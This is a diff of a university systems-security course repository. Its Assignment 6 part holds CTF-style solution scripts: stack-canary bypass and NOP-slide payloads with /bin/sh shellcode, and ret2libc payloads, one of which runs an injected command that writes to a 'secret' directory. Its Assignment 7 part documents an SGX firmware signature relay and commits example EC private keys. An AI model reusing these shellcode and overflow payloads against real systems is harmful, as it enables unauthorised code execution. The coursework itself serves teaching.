Assignment 6 - Software Security - Teil 2/fake_canary/flag

@@ -0,0 +1 @@
+flag{CANARY_IS_ALSO_AN_ISLAND}

Assignment 6 - Software Security - Teil 2/fake_canary/solution.sh

@@ -0,0 +1,41 @@
+#!/bin/bash
+
+# flag{CANARY_IS_ALSO_AN_ISLAND}
+
+##### Exploit Creation Steps #####
+# Step 1: Locate address of 'int stack_canaries [10]' using gdb
+# Command: disas owerflow
+# -> 0x56559020
+##################################
+# Step 2: Print all 10 possible stack canaries in gdb
+# Command: x/10xw 0x56559020
+##################################
+# Step 3: Select only those canaries that do not contain a null byte
+##################################
+# Step 4: Combine Slide Rider with the selected stack canaries
+##################################
+
+############ Exploit ##############
+# Step 1: Choose a random canary candidate and overwrite the buffer with 'A's, then insert the canary candidate.
+# Note: Only canaries without null bytes can be used due to the use of strcpy.
+case $(( RANDOM % 3 )) in
+    0)
+        printf "AAAAAAAAAAAAAAAA\xa9\x67\xa3\x70"
+        ;;
+    1)
+        printf "AAAAAAAAAAAAAAAA\xc1\xd1\xce\x4b"
+        ;;
+    2)
+        printf "AAAAAAAAAAAAAAAA\x0e\x8b\xba\x08"
+        ;;
+esac
+
+# Step 2: Fill the buffer with a candidate return address
+printf "\x10\xd6\xff\xff%.0s" {1..30}
+
+# Step 3: Write a lot of NOPs to stdout as a slide for the shellcode
+printf "\x90%.0s" {1..2000}
+
+# Step 4: Write the provided shellcode to stdout
+printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
+###################################

Assignment 6 - Software Security - Teil 2/ret2libc/ret2libc.c

@@ -0,0 +1,23 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int vuln(char* input) {
+    char buff[100];
+
+    strcpy(buff, input);
+    return 0;
+}
+
+int main(int argc, char *argv[])
+{
+    if(argc < 2)
+    {
+        printf("Syntax: %s <input string>\n", argv[0]);
+        exit (0);
+    }
+
+    vuln(argv[1]); 
+    return 0;
+}
+

Assignment 6 - Software Security - Teil 2/ret2libc/solution.sh

@@ -0,0 +1,31 @@
+#!/bin/bash
+
+# sources: https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc
+
+##### Exploit Creation Steps #####
+###################################
+
+# Step 1: Locate the offset of the string '/bin/sh' in libc
+# Command: strings -a -t x /usr/lib32/libc-2.31.so | grep /bin/sh
+# ---> 0x18c363
+
+# Step 2: Determine the base address of libc in the ret2libc environment using gdb
+# Command: info proc map
+# ---> 0xf7dd4000
+
+# Step 3: Find the addresses of 'system' and 'exit' functions using gdb
+# Commands:
+#   p system -> 0xf7e15360
+#   p exit -> 0xf7e07ec0
+###################################
+
+############ Exploit ##############
+# Fill the buffer with 'A's until the stored EIP is reached
+printf "A%.0s" {1..112}
+
+# Overwrite the stored EIP with the address of 'system' function
+# Place the address of 'exit' function as the return address for 'system'
+# Provide the argument for 'system' which is the address of the string '/bin/sh' (calculated as base libc + offset)
+# All addresses are in little-endian format
+printf "\x60\x53\xe1\xf7\xc0\x7e\xe0\xf7\x63\x03\xf6\xf7"
+###################################

Assignment 6 - Software Security - Teil 2/ret2libc/solution_grade.sh

@@ -0,0 +1,29 @@
+#!/bin/bash
+
+##### Exploit Creation Steps #####
+###################################
+
+# Step 1: Find the addresses of 'system' and 'exit' functions using gdb
+# Commands:
+#   p system -> 0xf7e15360
+#   p exit -> 0xf7e07ec0
+
+# Step 2: Export an environment variable to inject our command as a string into the ret2libc executable
+# Command: export COMMAND="echo 100 > /home/user/t0p_s3cr3t/owned"
+
+# Step 3: Find the address of the environment variable string in memory using gdb
+# Command: x/s *((char **)environ+16) (17th env. variable)
+# Add 8 to the address to skip the 'COMMAND=' part
+#   -> 0xffffdeda (0xffffdee8 in gdb; different env. vars when executing ./ret2libc directly; found by trial and error)
+###################################
+
+############ Exploit ##############
+# Fill the buffer with 'A's until the stored EIP is reached
+printf "A%.0s" {1..112}
+
+# Overwrite the stored EIP with the address of the 'system' function
+# Place the address of the 'exit' function as the return address for 'system'
+# Provide the argument for 'system', which is the address of the value of the environment variable COMMAND
+# All addresses are in little-endian format
+printf "\x60\x53\xe1\xf7\xc0\x7e\xe0\xf7\xda\xde\xff\xff"
+###################################

Assignment 6 - Software Security - Teil 2/ret2libc/t0p_s3cr3t/owned

@@ -0,0 +1 @@
+100

Assignment 6 - Software Security - Teil 2/slide_rider/flag

@@ -0,0 +1 @@
+flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}

Assignment 6 - Software Security - Teil 2/slide_rider/solution-sascha.sh

@@ -0,0 +1,16 @@
+#!/bin/bash
+
+# sources: https://hg8.sh/posts/binary-exploitation/buffer-overflow-code-execution-by-shellcode-injection/
+
+# flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}
+
+######### Exploit #########
+# Step 1: Fill the buffer with a candidate return address
+printf "\x0c\xd6\xff\xff%.0s" {1..30}
+
+# Step 2: Write a lot of NOPs to stdout as a slide for the shellcode
+printf "\x90%.0s" {1..2000}
+
+# Step 3: Write the provided shellcode to stdout
+printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
+###########################

Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh

@@ -0,0 +1,12 @@
+#!/usr/bin/env sh
+
+# slide for buffer size 20 + 2 bytes of saved ebp
+SLIDE_1=$(printf "\\\\x90%.0s" $(seq 1 22))
+# jump over the ret addr
+JMP_OVER_RET="\xeb\x04"
+RET_ADDR="\x08\xdc\xff\xff"
+# main nop slide (500 Bytes)
+SLIDE_2=$(printf "\\\\x90%.0s" $(seq 1 500))
+SHELLCODE="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
+
+printf $SLIDE_1$JMP_OVER_RET$RET_ADDR$SLIDE_2$SHELLCODE

Assignment 7 - SGX Hands-on/LICENSE

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
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+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
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+
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+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
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+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
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+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
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+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
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Assignment 7 - SGX Hands-on/README.md

@@ -0,0 +1,75 @@
+# Signature Relay for firmware
+
+Documentation of the Assignment 7 in Systems Security at Ruhr-Universität Bochum.
+This is a program, that uses a TEE to build a signature relay to sign firmware with a master key.
+For more informationm, read the [project description](doc/abgabe.pdf).
+
+We recommend viewing the  [repository](https://git.pfzetto.de/RubNoobs/Systemsicherheit/src/branch/master/Assignment%207%20-%20SGX%20Hands-on) we worked on together at.
+
+## Requirements
+
+You will need the latest version of OpenSSL.
+Execute the following command inside the  src directory to automatically meet all requirements. 
+
+```bash
+$ ./setup
+```
+
+
+## Compiling
+
+This project can be compiled for simulation environments or directly on the hardware.
+
+1. **Simulated environment**
+
+In the src directory type the command
+
+```bash
+$ make SGX_MODE=SIM
+```
+
+2. **Hardware**
+
+In the src directory type the command
+
+```bash
+$ make
+```
+
+That creates all the necessary objects and binaries to execute. 
+The executable binary will be `src/signatureproxy`.
+
+## Running
+
+## Running story
+
+To execute an example usage of the project, execute `./simulate` in src directory. 
+Note, that this will only work, if you sucessfully compiled the project.
+
+## Manual Usage
+
+### Setup
+
+Go to the `src` directory.
+
+Initialize the Enclave keypair by executing:
+`./signatureproxy proxysetup -pkey <sealed_proxy_key.bin> > <proxy_public_key.pem>` 
+
+### Sign
+1. Create employee signature using `./signatureproxy employee -firm <firmware.bin> -ekey <employee_privat_key.pem> > <employee_signature.der>`
+   This step can also be done using OpenSSL: `openssl dgst -sha256 -sign <employee_private_key.pem> -out <employee_signature.der> -in <firmware.bin>`
+2. Use the signature proxy to resign the firmware using `./signatureproxy proxy -pkey <sealed_proxy_key.bin> -epub <employee_public_key.der> -firm <firmware.bin> > <proxy_signature.der>`
+   The enclave verifies the employee signature and signs the firmware if the signature is valid.
+3. Verify signature using `cat <proxy_signature.der> | ./signatureproxy embedded -firm <firmware.bin> -ppub <proxy_public_key.pem>` 
+   This step can also be done using OpenSSL: `openssl dgst -sha256 -verify <proxy_public_key.pem> -signature <proxy-signature.der> <firmware.bin>`
+
+
+## License
+
+Everything we did ourselves is licensed under the [GNU GPLv3 License](./LICENSE)
+
+## Contributors
+
+- Benjamin Haschka
+- Sascha Tommasone
+- Paul Zinselmeyer

Assignment 7 - SGX Hands-on/doc/abgabe.typ

@@ -0,0 +1,131 @@
+#let conf(
+  title: none, 
+  assignmentno: none,
+  authors: (),
+  doc
+) = {
+  set page(
+    paper: "a4",
+    header: [
+    #set text(size: 9pt)
+    #grid(
+      columns: 3,
+      gutter: 1fr,
+      rows: 1,
+      align(left + horizon, smallcaps(title)),
+      align(center + horizon, "Assignment-" + assignmentno),
+      grid(
+        align: right,
+        columns: 1,
+        rows: authors.len(),
+        row-gutter: 3pt,
+        ..authors.map(author => [
+          #author
+        ])
+      )
+    )
+    #line(length: 100%)
+    ],
+    footer: context [
+      #line(length: 100%)
+      #set align(center)
+      #counter(page).display(
+        "1 / 1",
+        both: true
+      )
+    ],
+  )
+  set text(
+    size: 11pt,
+    font: "DejaVu Serif"
+  )
+  doc
+}
+
+#show: doc => conf(
+  title: "System Security",
+  assignmentno: "7",
+  authors: (
+    "Benjamin Haschka",
+    "Sascha Tommasone",
+    "Paul Zinselmeyer"
+  ),
+  doc
+)
+
+= Firmware Signatur-Relay in einer TEE
+
+Das Program hat den Zweck, Signaturen die von einzelnen Nutzern über eine Firmware gemacht werden, mit einem permanenten Produktions-Key zu maskieren, ohne, dass der Nutzer diesen kennt.
+Dabei wird eine Encalve als Signatur-Relay verwendet.
+Die Enclave kann Signaturen über Daten mit einem festen Satz an öffentlichen Schlüsseln, die vertrauenswürdig sind, verifizieren.
+Wenn die Signatur gültig ist, entfernt die Enclave die Signatur und erzeugt eine eigene Signatur mit dem Produktions-Key.
+
+
+#grid(
+  columns: 2,
+  figure(
+    image("correct-signature.png"),
+    caption: "Valid Signature"
+  ),
+  figure(
+    image("unknown-signature.png"),
+    caption: "Invalid Signature"
+  )
+)
+
+Diese Signatur kann dann mit dem öffentlichen Schlüssel der Enclave, der von außen angefragt werden kann, überprüft werden.
+Damit kann der Nutzer seine eigene Signatur mit der Signatur der Enclave maskieren.
+
+Der Schlüssel ist dabei den Nutzern nie bekannt.
+Sie haben den Schlüssel nur versiegelt und können ihn der Enclave geben, die den Schlüssel dann entsiegeln und in der vertrauenswürdigen Umgebung verwenden kann.
+
+
+
+== Szenario
+
+In diesem Szenario wird ein Unternehmen betrachtet, das Embedded Geräte produziert.
+Für die Geräte sollen regelmäßig Updates für die Firmware veröffentlicht werden.
+Diese Firmware muss mit einem permanenten Key signiert werden, der in der Produktion der Geräte fest codiert wird.
+Ist die Signatur nicht vorhanden, lädt keines der Geräte das Update.
+
+Mitarbeitende, die die Firmware hochladen wollen, müssen also die implementierte Firmware mit dem Produktions-Key signieren.
+Wenn sie den Produktions-Key besitzen, bringt das gewissen risiken, z.B.:
+
+- Mitarbeitende können (absichtilich oder nicht) den Schlüssel veröffentlichen
+- Mitarbeitende, die nicht mehr in dem Unternehmen arbeiten, können den Key für schlechte Zwecke missbrauchen
+
+Es ist also sinnvoll, wenn die Mitarbeitende den Key nicht kennen. Dazu kann das beschriebene Signatur-Relay verwendet werden.
+Die Mitarbeitenden signieren die Firmware vorerst mit ihrem eigenen Key.
+Diese Keys sind in das Relay als trusted Keys eingebunden.
+Anschließend kann der Mitarbeitende die selbst-signierte Firmware an das Signatur-Relay senden.
+Das Relay prüft dann die Gültigkeit der Signatur und schickt, falls gültig, eine eigene Signatur über die Firmware zurück.
+Damit kann dann der Mitarbeitende die Firmware an die Embedded Geräte senden, bei Gültigkeit die neue Firmware laden können.
+
+Falls ein Mitarbeitender den eigenen Schlüssel verlieren oder veröffentlichen sollte, besteht in dem Fall auch nicht das Problem, dass der Produktionsschlüssel ungültig wird.
+Es kann einfach der Schlüssel des Mitarbeitenden von der Liste der trusted Keys zurückgezogen werden. 
+
+Zudem ist es wichtig, dass keine bösartigen Programme auf den Systemen der Mitarbeitenden den Signaturprozess mitbekommen oder gar verändern können.
+
+Aus diesen Gründen ist es in diesem Szenario wichtig, dass das Relay mit all seinen Funktionen besonders geschützt ist.
+Dementsprechend sollte es in einer Enclave laufen.
+
+== Details
+
+1. *Key Management*
+
+Das Key Management wird mit der eingebauten `seal` Funktion der Encalve gemacht.
+Dabei kann jeder Nutzer eine versiegelte Kopie des Schlüssels behalten, da er damit nichts anfangen kann.
+Erst, wenn der Schlüssel in die Enclave kommt und entsiegelt wird, kann der Schlüssel verwendet werden.
+
+2. *Signatur Erstellung*
+
+Die Enclave bietet eine Schnittstelle für Signaturen mit ECDSA an. 
+Dabei wird die Kurve secp256r1 verwendet.
+
+== Vorteile
+
+Dieses Programm bietet einige Vorteile, unter anderem:
+
+- Nutzern unbekannter Hauptschlüssel
+- Vereinfacht das Zurückziehen der Schlüssel
+- Sicherheit der Gültigkeit der Firmware

Assignment 7 - SGX Hands-on/employee_keys/alice_private.pem

@@ -0,0 +1,5 @@
+-----BEGIN EC PRIVATE KEY-----
+MHcCAQEEIH0KXxaw/nRzJU5evlEJQrciYUtfJ16PILWtlA5KKh/koAoGCCqGSM49
+AwEHoUQDQgAEduVQXmH1K+ocSSnv0l9PKdC2+xxPQrVyABAYGk+jlo2hugpH8aWk
+nfR9cTTOLy6T7ASx3a22S6DftcTz+aZYsg==
+-----END EC PRIVATE KEY-----

Assignment 7 - SGX Hands-on/employee_keys/alice_public.pem

@@ -0,0 +1,4 @@
+-----BEGIN PUBLIC KEY-----
+MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEduVQXmH1K+ocSSnv0l9PKdC2+xxP
+QrVyABAYGk+jlo2hugpH8aWknfR9cTTOLy6T7ASx3a22S6DftcTz+aZYsg==
+-----END PUBLIC KEY-----

Assignment 7 - SGX Hands-on/employee_keys/bob_private.pem

@@ -0,0 +1,5 @@
+-----BEGIN EC PRIVATE KEY-----
+MHcCAQEEICV85UuIaBKQ9yisKQne4i4E3HjB4KysQdqnhnrX8LtLoAoGCCqGSM49
+AwEHoUQDQgAE7iz5LravULyrYQgu9rIX7iyUQdi7GTJ63Af/DlIrcpy7UbpWdh0O
+h5LGlfaMgQ4pq9ORF8+K3LCUYMqUtS+EjA==
+-----END EC PRIVATE KEY-----

Assignment 7 - SGX Hands-on/employee_keys/bob_public.pem

@@ -0,0 +1,4 @@
+-----BEGIN PUBLIC KEY-----
+MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE7iz5LravULyrYQgu9rIX7iyUQdi7
+GTJ63Af/DlIrcpy7UbpWdh0Oh5LGlfaMgQ4pq9ORF8+K3LCUYMqUtS+EjA==
+-----END PUBLIC KEY-----

Assignment 7 - SGX Hands-on/employee_keys/oskar_private.pem

@@ -0,0 +1,5 @@
+-----BEGIN EC PRIVATE KEY-----
+MHcCAQEEINtBCS3yRqZNxO+RPdV2618QVDfhqmXheAQ9G3hMmxLyoAoGCCqGSM49
+AwEHoUQDQgAEzkxblxb/svE5kta/IdNs0NQgDk7CO5nBs/LVeiJDz2iiFwERK6u7
+oNj36jvwppi3jFmHp7nFNZEzim45DcY7vA==
+-----END EC PRIVATE KEY-----

Assignment 7 - SGX Hands-on/employee_keys/oskar_public.pem

@@ -0,0 +1,4 @@
+-----BEGIN PUBLIC KEY-----
+MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEzkxblxb/svE5kta/IdNs0NQgDk7C
+O5nBs/LVeiJDz2iiFwERK6u7oNj36jvwppi3jFmHp7nFNZEzim45DcY7vA==
+-----END PUBLIC KEY-----

Assignment 7 - SGX Hands-on/flake.lock

@@ -0,0 +1,27 @@
+{
+  "nodes": {
+    "nixpkgs": {
+      "locked": {
+        "lastModified": 1719838683,
+        "narHash": "sha256-Zw9rQjHz1ilNIimEXFeVa1ERNRBF8DoXDhLAZq5B4pE=",
+        "owner": "NixOS",
+        "repo": "nixpkgs",
+        "rev": "d032c1a6dfad4eedec7e35e91986becc699d7d69",
+        "type": "github"
+      },
+      "original": {
+        "owner": "NixOS",
+        "ref": "nixos-24.05",
+        "repo": "nixpkgs",
+        "type": "github"
+      }
+    },
+    "root": {
+      "inputs": {
+        "nixpkgs": "nixpkgs"
+      }
+    }
+  },
+  "root": "root",
+  "version": 7
+}

Assignment 7 - SGX Hands-on/flake.nix

@@ -0,0 +1,50 @@
+{
+    description = "SignatureProxy SGX Demo";
+    inputs = {
+        nixpkgs.url = "github:NixOS/nixpkgs/nixos-24.05";
+    };
+
+    outputs = { self, nixpkgs, ... }: 
+    let
+        lastModifiedDate = self.lastModifiedDate or self.lastModified or "19700101";
+        version = builtins.substring 0 8 lastModifiedDate;
+
+        nixpkgsFor = system: import nixpkgs { inherit system; overlays = [ self.overlay ]; };
+    in
+    {
+        overlay = final: prev: with final; {
+            signatureProxy = stdenv.mkDerivation {
+                pname = "SignatureProxy";
+                inherit version;
+
+                src = ./src;
+
+                buildPhase = ''
+                    make
+                '';
+
+                installPhase = ''
+                    mkdir -p $out/bin
+                    cp signatureproxy $out/bin
+                    cp enclave.signed.so $out/bin
+                '';
+
+                nativeBuildInputs = with pkgs; [
+                    clang
+                    glibc
+                    sgx-sdk
+                    openssl.dev
+                    pkg-config
+                    which
+                ];
+
+                env = {
+                    SGX_SDK = pkgs.sgx-sdk;
+                    SGX_MODE = "SIM";
+                };
+            };
+        };
+
+        defaultPackage."x86_64-linux" = (nixpkgsFor "x86_64-linux").signatureProxy;
+    };
+}

Assignment 7 - SGX Hands-on/src/Makefile

@@ -0,0 +1,249 @@
+#
+# Copyright (C) 2011-2018 Intel Corporation. All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions
+# are met:
+#
+#   * Redistributions of source code must retain the above copyright
+#     notice, this list of conditions and the following disclaimer.
+#   * Redistributions in binary form must reproduce the above copyright
+#     notice, this list of conditions and the following disclaimer in
+#     the documentation and/or other materials provided with the
+#     distribution.
+#   * Neither the name of Intel Corporation nor the names of its
+#     contributors may be used to endorse or promote products derived
+#     from this software without specific prior written permission.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+#
+#
+
+######## SGX SDK Settings ########
+
+SGX_SDK ?= /opt/intel/sgxsdk
+SGX_MODE ?= HW
+SGX_ARCH ?= x64
+SGX_DEBUG ?= 1
+
+ifeq ($(shell getconf LONG_BIT), 32)
+	SGX_ARCH := x86
+else ifeq ($(findstring -m32, $(CCFLAGS)), -m32)
+	SGX_ARCH := x86
+endif
+
+ifeq ($(SGX_ARCH), x86)
+	SGX_COMMON_CFLAGS := -m32
+	SGX_LIBRARY_PATH := $(SGX_SDK)/lib
+	SGX_ENCLAVE_SIGNER := $(SGX_SDK)/bin/x86/sgx_sign
+	SGX_EDGER8R := $(SGX_SDK)/bin/x86/sgx_edger8r
+else
+	SGX_COMMON_CFLAGS := -m64
+	SGX_LIBRARY_PATH := $(SGX_SDK)/lib64
+	SGX_ENCLAVE_SIGNER := $(SGX_SDK)/bin/x64/sgx_sign
+	SGX_EDGER8R := $(SGX_SDK)/bin/x64/sgx_edger8r
+endif
+
+ifeq ($(SGX_DEBUG), 1)
+ifeq ($(SGX_PRERELEASE), 1)
+$(error Cannot set SGX_DEBUG and SGX_PRERELEASE at the same time!!)
+endif
+endif
+
+ifeq ($(SGX_DEBUG), 1)
+        SGX_COMMON_CFLAGS += -O0 -g
+else
+        SGX_COMMON_CFLAGS += -O2
+endif
+
+######## App Settings ########
+
+ifneq ($(SGX_MODE), HW)
+	Urts_Library_Name := sgx_urts_sim
+else
+	Urts_Library_Name := sgx_urts
+endif
+
+App_C_Files := app/main.c app/proxy.c app/proxysetup.c app/employee.c app/util.c app/embedded_device.c
+App_Include_Paths := -IInclude -Iapp -I$(SGX_SDK)/include -I/usr/local/openssl-3.3.1/include
+
+App_C_Flags := $(SGX_COMMON_CFLAGS) -fPIC -Wno-attributes $(App_Include_Paths)
+
+# Three configuration modes - Debug, prerelease, release
+#   Debug - Macro DEBUG enabled.
+#   Prerelease - Macro NDEBUG and EDEBUG enabled.
+#   Release - Macro NDEBUG enabled.
+ifeq ($(SGX_DEBUG), 1)
+        App_C_Flags += -DDEBUG -UNDEBUG -UEDEBUG
+else ifeq ($(SGX_PRERELEASE), 1)
+        App_C_Flags += -DNDEBUG -DEDEBUG -UDEBUG
+else
+        App_C_Flags += -DNDEBUG -UEDEBUG -UDEBUG
+endif
+
+OPENSSL := -Wl,-Bstatic -L/usr/local/openssl-3.3.1/lib64 -lssl -lcrypto -Wl,-Bdynamic -ldl
+App_Link_Flags := $(SGX_COMMON_CFLAGS) -L$(SGX_LIBRARY_PATH) -l$(Urts_Library_Name) -lpthread -lsgx_urts $(OPENSSL)
+
+ifneq ($(SGX_MODE), HW)
+	App_Link_Flags += -lsgx_uae_service_sim
+else
+	App_Link_Flags += -lsgx_uae_service
+endif
+
+App_C_Objects := $(App_C_Files:.c=.o)
+
+App_Name := signatureproxy
+
+
+######## Enclave Settings ########
+
+ifneq ($(SGX_MODE), HW)
+	Trts_Library_Name := sgx_trts_sim
+	Service_Library_Name := sgx_tservice_sim
+else
+	Trts_Library_Name := sgx_trts
+	Service_Library_Name := sgx_tservice
+endif
+Crypto_Library_Name := sgx_tcrypto
+
+Enclave_C_Files := enclave/enclave.c
+Enclave_Include_Paths := -IInclude -Ienclave -I$(SGX_SDK)/include -I$(SGX_SDK)/include/tlibc -I$(SGX_SDK)/include/libcxx
+
+CC_BELOW_4_9 := $(shell expr "`$(CC) -dumpversion`" \< "4.9")
+ifeq ($(CC_BELOW_4_9), 1)
+	Enclave_C_Flags := $(SGX_COMMON_CFLAGS) -nostdinc -fvisibility=hidden -fpie -ffunction-sections -fdata-sections -fstack-protector
+else
+	Enclave_C_Flags := $(SGX_COMMON_CFLAGS) -nostdinc -fvisibility=hidden -fpie -ffunction-sections -fdata-sections -fstack-protector-strong
+endif
+
+Enclave_C_Flags += $(Enclave_Include_Paths)
+
+
+# To generate a proper enclave, it is recommended to follow below guideline to link the trusted libraries:
+#    1. Link sgx_trts with the `--whole-archive' and `--no-whole-archive' options,
+#       so that the whole content of trts is included in the enclave.
+#    2. For other libraries, you just need to pull the required symbols.
+#       Use `--start-group' and `--end-group' to link these libraries.
+# Do NOT move the libraries linked with `--start-group' and `--end-group' within `--whole-archive' and `--no-whole-archive' options.
+# Otherwise, you may get some undesirable errors.
+Enclave_Link_Flags := $(SGX_COMMON_CFLAGS) -Wl,--no-undefined -nostdlib -nodefaultlibs -nostartfiles -L$(SGX_LIBRARY_PATH) \
+	-Wl,--whole-archive -l$(Trts_Library_Name) -Wl,--no-whole-archive \
+	-Wl,--start-group -lsgx_tstdc -lsgx_tcxx -l$(Crypto_Library_Name) -l$(Service_Library_Name) -Wl,--end-group \
+	-Wl,-Bstatic -Wl,-Bsymbolic -Wl,--no-undefined \
+	-Wl,-pie,-eenclave_entry -Wl,--export-dynamic  \
+	-Wl,--defsym,__ImageBase=0 -Wl,--gc-sections   \
+	-Wl,--version-script=enclave/enclave.lds \
+
+Enclave_C_Objects := $(Enclave_C_Files:.c=.o)
+
+Enclave_Name := enclave.so
+Signed_Enclave_Name := enclave.signed.so
+Enclave_Config_File := enclave/enclave.config.xml
+
+ifeq ($(SGX_MODE), HW)
+ifeq ($(SGX_DEBUG), 1)
+	Build_Mode = HW_DEBUG
+else ifeq ($(SGX_PRERELEASE), 1)
+	Build_Mode = HW_PRERELEASE
+else
+	Build_Mode = HW_RELEASE
+endif
+else
+ifeq ($(SGX_DEBUG), 1)
+	Build_Mode = SIM_DEBUG
+else ifeq ($(SGX_PRERELEASE), 1)
+	Build_Mode = SIM_PRERELEASE
+else
+	Build_Mode = SIM_RELEASE
+endif
+endif
+
+.PHONY: all run
+
+ifeq ($(Build_Mode), HW_RELEASE)
+all: .config_$(Build_Mode)_$(SGX_ARCH) $(App_Name) $(Enclave_Name)
+	@echo "The project has been built in release hardware mode."
+	@echo "Please sign the $(Enclave_Name) first with your signing key before you run the $(App_Name) to launch and access the enclave."
+	@echo "To sign the enclave use the command:"
+	@echo "   $(SGX_ENCLAVE_SIGNER) sign -key <your key> -enclave $(Enclave_Name) -out <$(Signed_Enclave_Name)> -config $(Enclave_Config_File)"
+	@echo "You can also sign the enclave using an external signing tool."
+	@echo "To build the project in simulation mode set SGX_MODE=SIM. To build the project in prerelease mode set SGX_PRERELEASE=1 and SGX_MODE=HW."
+else
+all: .config_$(Build_Mode)_$(SGX_ARCH) $(App_Name) $(Signed_Enclave_Name)
+ifeq ($(Build_Mode), HW_DEBUG)
+	@echo "The project has been built in debug hardware mode."
+else ifeq ($(Build_Mode), SIM_DEBUG)
+	@echo "The project has been built in debug simulation mode."
+else ifeq ($(Build_Mode), HW_PRERELEASE)
+	@echo "The project has been built in pre-release hardware mode."
+else ifeq ($(Build_Mode), SIM_PRERELEASE)
+	@echo "The project has been built in pre-release simulation mode."
+else
